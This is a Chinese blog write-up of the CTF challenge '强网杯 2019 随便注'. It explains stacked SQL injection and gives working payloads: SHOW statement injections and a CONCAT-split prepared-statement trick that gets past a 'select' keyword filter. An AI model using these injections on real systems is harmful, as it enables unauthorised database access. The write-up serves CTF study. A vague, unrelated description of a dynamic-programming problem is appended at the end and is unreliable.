BMZCTF 强网杯 2019 随便注 原理+题解

目录

知识点

堆叠注入

show语句

mysql预编译

过程

 重点

预编译

 重命名

总结


知识点

  • 堆叠注入

 堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。

比如:        (这样一下就会执行2条命令,与union注入有相似的地方,union注入可以在一条语句中执行多个操作,而堆叠注入可以在一次输入中执行多条语句)

?id=1 ;show database;
  • show语句

 
  • 1.show databases ; // 显示mysql中所有数据库的名称

  • 2.show tables [from database_name]; // 显示当前数据库中所有表的名称

  • 3.show columns from table_name ; // 显示表中列名称 ,和desc tablename 相同

想看更多的话可以看这篇文章。

MySQL的show语句大全 - 王恒志 - 博客园

  • mysql预编译

其实就像我们编写的程序需要预编译才能变成能被机器执行的语言一样,我们输入的语句都要预编译才能正常执行。

MySQL执行预编译分为如三步:
执行预编译语句
例如:

    prepare myfun from 'select * from t_book where bid=?'
    设置变量,例如:set @str='b1'
    执行语句,例如:execute myfun using @str

如果需要再次执行myfun,那么就不再需要第一步,即不需要再编译语句了:

    设置变量,例如:set @str='b2'
    执行语句,例如:execute myfun using @str
详情的话可以看这位博主

MySQL的预编译功能 - 悦文 - 博客园

而在这道题目中,我们需要用的是,提前将我们要执行的语句预编译,这样就可以绕过select的过滤。

过程

这里需要说的是,题目在原题的基础上对命名进行了修改,表名换了一下,对正常解法还是不影响。

注入为字符型注入,需要用#闭合单引号
id=1'  or 1=1 # 出现三个查询结果存在注入
输入 order by  语句判断数据库字段为2

 

 随后输入 order by 语句 在输入 1' order by 2# 报错 ,得知数据表字段为2

然后使用 联合注入语句,发现存在过滤。

 重点

采用堆叠注入,先爆数据库

-1'; show databases; #

爆表 (其他平台的第一个表可能是一串数字 ,不过没关系,照着这个方法做也行)

-1'; show tables; #

 

爆字段名(这里查表的话,需要使用反引号,应该是show语句规定的)

0'; show columns from `flagg `; #

 

下面问题来了,现在知道基本知道flag在flag字段中中,而select 又被过滤了,那要怎么才能进行查询呢?(其实到了这一步有很多方法,下面就介绍一下预编译绕过和重命名的方法)

预编译

我们从之前的select 语句知道,服务器是会过滤select关键字的
当然这里也尝试过了%00截断,内联注释,大小写等方式绕过,结果还是被拦截

所以接下来用预编译方式
构造语句
-1';set @sql = CONCAT('se','lect * from `flagg`;');prepare xxx from @sql;EXECUTE xxx;#
发现仍然能被拦截
选择使用大小写绕过strstr()函数
-1';Set @sql = CONCAT('se','lect * from `flagg`;');Prepare xxx from @sql;EXECUTE xxx;#

得到flag

 

 重命名

总结

其实还不止这两种解法,实际上就是因为服务器对输入的数据过滤不严导致的,所以能让我们找到可以绕过的方法。另外要说的是 堆叠注入并不是使用所有使用mysql的架构的,有些架构并不支持。

参考链接

MySQL的预编译功能 - 悦文 - 博客园

MySQL的show语句大全 - 王恒志 - 博客园

[强网杯 2019]随便注_夜幕下的灯火阑珊的博客-CSDN博客

下面有另外的一种解法

BUUCTF[强网杯 2019]随便注 的三种解法_天问_Herbert555的博客-CSDN博客_ctf随便注

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
题目 P5413 "YNOI2019 骑单车" 是一个经典的动态规划和贪心算法的问题。该题主要涉及两个概念:路径规划和状态转移方程。 **背景描述** 假设你在一个二维网格上,每个单元格代表一个地点,你需要从起点出发骑车到终点,并尽可能地减少骑行时间。网格中的每个单元格都有两种可能的状态:平地(速度不变)或斜坡(速度减半)。你的目标是找到一条最短的路线。 **关键点解析** 1. **动态规划**:通常用于求解最优化问题。在这个问题中,我们可以定义一个二维数组 dp[i][j] 表示从起点到位置 (i, j) 的最短行驶时间。状态转移方程会根据当前位置的性质(平地还是斜坡)以及到达此位置的最短路径来自之前的节点计算。 2. **状态转移**:对于平地,dp[i][j] = dp[pi][pj] + cost,表示直接移动到相邻位置的时间;对于斜坡,dp[i][j] = min(dp[pi][pj], dp[pi][pj-1]) + cost/2,因为斜坡速度减半,所以需要选择更早的时刻经过。 3. **贪心策略**:有时候,为了达到全局最优,初始看起来不是最优的选择可能是正确的。但在这个问题中,贪心策略可能并不适用,因为我们不能仅依据当前状态做出决策,需要考虑到整个路径。 4. **边界条件**:初始化 dp 数组时,起点时间设为 0,其余位置设为正无穷大,保证一开始就只会向可达的位置移动。 **代码实现** 实现这样的动态规划算法通常需要用到一个优先队列(如最小堆),以便于高效地查找之前节点的最优时间。 **相关问题--:** 1. 如何设计状态转移方程来处理平地和斜坡的情况? 2. 这个问题是否存在剪枝操作以提高效率? 3. 如果网格大小非常大,如何避免存储所有 dp 值导致的空间爆炸?

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值